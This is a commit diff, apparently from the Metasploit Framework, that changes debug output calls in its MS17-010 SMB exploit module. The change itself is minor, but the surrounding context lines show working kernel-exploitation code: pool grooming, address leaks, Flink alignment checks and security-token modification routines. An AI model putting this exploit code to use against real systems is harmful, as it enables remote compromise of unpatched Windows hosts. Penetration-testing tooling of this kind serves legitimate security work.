remove VERBOSE req for prints in DBGTRACE

Author: zerosum0x0

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

@@ -94,11 +94,11 @@ def modify_token()
     secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
 
     if datastore['DBGTRACE']
-      vprint_status("Session Data: #{bin_to_hex(sessionData)}")
-      vprint_status("session dat len = #{sessionData.length}")
-      vprint_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
-      vprint_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
-      vprint_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
+      print_status("Session Data: #{bin_to_hex(sessionData)}")
+      print_status("session dat len = #{sessionData.length}")
+      print_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
+      print_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
+      print_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
     end
 
     if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
@@ -145,11 +145,11 @@ def modify_token()
       # the target can use PsImperonateClient for impersonation (Windows 2008 and later)
       # copy SecurityContext for restoration
       if datastore['DBGTRACE']
-        vprint_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
+        print_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
       end
       secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
       if datastore['DBGTRACE']
-        vprint_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
+        print_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
       end
 
       @ctx['secCtxData'] = secCtxData
@@ -297,8 +297,8 @@ def exploit_matched_pairs(pipe_handle)
 
 
     if datastore['DBGTRACE']
-      vprint_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
-      vprint_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
+      print_status("GROOM_POOL_SIZE: 0x#{@ctx['GROOM_POOL_SIZE'].to_s(16)}")
+      print_status("BRIDE_TRANS_SIZE: 0x#{@ctx['BRIDE_TRANS_SIZE'].to_s(16)}")
     end
 
     # bride paramters and data is alignment by 4 because it is TRANS
@@ -488,18 +488,18 @@ def align_transaction_and_leak(pipe_handle)
     leak_mid = leakTrans[@ctx['TRANS_MID_OFFSET']..-1].unpack("v")[0] #unpack_from('<H', leakTrans, info['TRANS_MID_OFFSET'])[0]
 
     if datastore['DBGTRACE']
-      vprint_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
-      vprint_status("SESSION: 0x#{session_addr.to_s(16)}")
-      vprint_status("FLINK: 0x#{flink_value.to_s(16)}")
-      vprint_status("InParam: 0x#{inparam_value.to_s(16)}")
-      vprint_status("MID: 0x#{leak_mid.to_s(16)}")
+      print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
+      print_status("SESSION: 0x#{session_addr.to_s(16)}")
+      print_status("FLINK: 0x#{flink_value.to_s(16)}")
+      print_status("InParam: 0x#{inparam_value.to_s(16)}")
+      print_status("MID: 0x#{leak_mid.to_s(16)}")
     end
 
     next_page_addr = (inparam_value & 0xfffffffffffff000) + 0x1000
     if next_page_addr + @ctx['GROOM_POOL_SIZE'] + @ctx['FRAG_POOL_SIZE'] + @ctx['POOL_ALIGN'] + @ctx['SRV_BUFHDR_SIZE'] + @ctx['TRANS_FLINK_OFFSET'] != flink_value
       delta = flink_value - next_page_addr
       if datastore['DBGTRACE']
-        vprint_error("Unexpected Flink alignment, delta: #{delta.to_s(16)}")
+        print_error("Unexpected Flink alignment, delta: #{delta.to_s(16)}")
       end
       return nil
     end
@@ -701,13 +701,13 @@ def exploit_fish_barrel(pipe_handle)
     trans1_addr = trans2_addr - xTRANS_CHUNK_SIZE * 2
 
     if datastore['DBGTRACE']
-      vprint_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
-      vprint_status("SESSION: 0x#{session_addr.to_s(16)}")
-      vprint_status("FLINK: 0x#{flink_value.to_s(16)}")
-      vprint_status("InData: 0x#{indata_value.to_s(16)}")
-      vprint_status("MID: 0x#{trans2_mid.to_s(16)}")
-      vprint_status("TRANS1: 0x#{trans1_addr.to_s(16)}")
-      vprint_status("TRANS2: 0x#{trans2_addr.to_s(16)}")
+      print_status("CONNECTION: 0x#{connection_addr.to_s(16)}")
+      print_status("SESSION: 0x#{session_addr.to_s(16)}")
+      print_status("FLINK: 0x#{flink_value.to_s(16)}")
+      print_status("InData: 0x#{indata_value.to_s(16)}")
+      print_status("MID: 0x#{trans2_mid.to_s(16)}")
+      print_status("TRANS1: 0x#{trans1_addr.to_s(16)}")
+      print_status("TRANS2: 0x#{trans2_addr.to_s(16)}")
     end
 
     # ================================